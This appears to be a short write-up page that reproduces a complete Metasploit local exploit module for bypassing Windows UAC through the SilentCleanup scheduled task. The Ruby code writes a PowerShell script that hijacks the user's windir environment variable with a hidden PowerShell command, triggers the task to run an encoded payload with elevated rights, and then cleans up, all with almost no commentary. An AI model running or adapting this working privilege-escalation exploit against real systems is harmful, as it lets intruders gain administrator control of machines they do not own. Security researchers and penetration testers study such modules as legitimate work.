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writeup 发布于 07/01 17:28
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##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Exploit::Powershell

include Msf::Post::Windows::Priv

include Msf::Post::File

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',

'Description' => %q{

There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.

When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,

%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.

},

'License' => MSF_LICENSE,

'Author' => [

'tyranid', # Discovery

'enigma0x3', # Discovery

'nyshone69', # Discovery

'Carter Brainerd (cbrnrd)' # Metasploit Module

],

'Platform' => ['win'],

'SessionTypes' => ['meterpreter', 'shell'],

'Arch' => [ARCH_X86, ARCH_X64],

'Targets' => [['Microsoft Windows', {}]],

'DisclosureDate' => 'Feb 24 2019',

'References' => [

['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],

['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],

['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],

['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']

]

))

register_options(

[

OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),

OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])

])

end

def get_bypass_script(cmd)

scr = %Q{

if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {

#{cmd}

} else {

$registryPath = "HKCU:\\Environment"

$Name = "windir"

$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"&amp; `'$PSCommandPath`'`";#"

Set-ItemProperty -Path $registryPath -Name $name -Value $Value

#Depending on the performance of the machine, some sleep time may be required before or after schtasks

Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}

schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null

Remove-ItemProperty -Path $registryPath -Name $name

}

}

vprint_status(scr)

scr

end

def exploit

check_permissions

e_vars = get_envs('TEMP')

payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"

# Write it to disk, run, delete

upload_payload_ps1(payload_fp)

vprint_good("Payload uploaded to #{payload_fp}")

cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")

end

def check_permissions

# Check if you are an admin

case is_in_admin_group?

when nil

print_error('Either whoami is not there or failed to execute')

print_error('Continuing under assumption you already checked...')

when true

print_good('Part of Administrators group! Continuing...')

when false

fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')

end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')

end

end

def upload_payload_ps1(filepath)

pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)

begin

vprint_status('Uploading payload PS1...')

write_file(filepath, get_bypass_script(pld))

register_file_for_cleanup(filepath)

rescue Rex::Post::Meterpreter::RequestError => e

fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")

end

end

end

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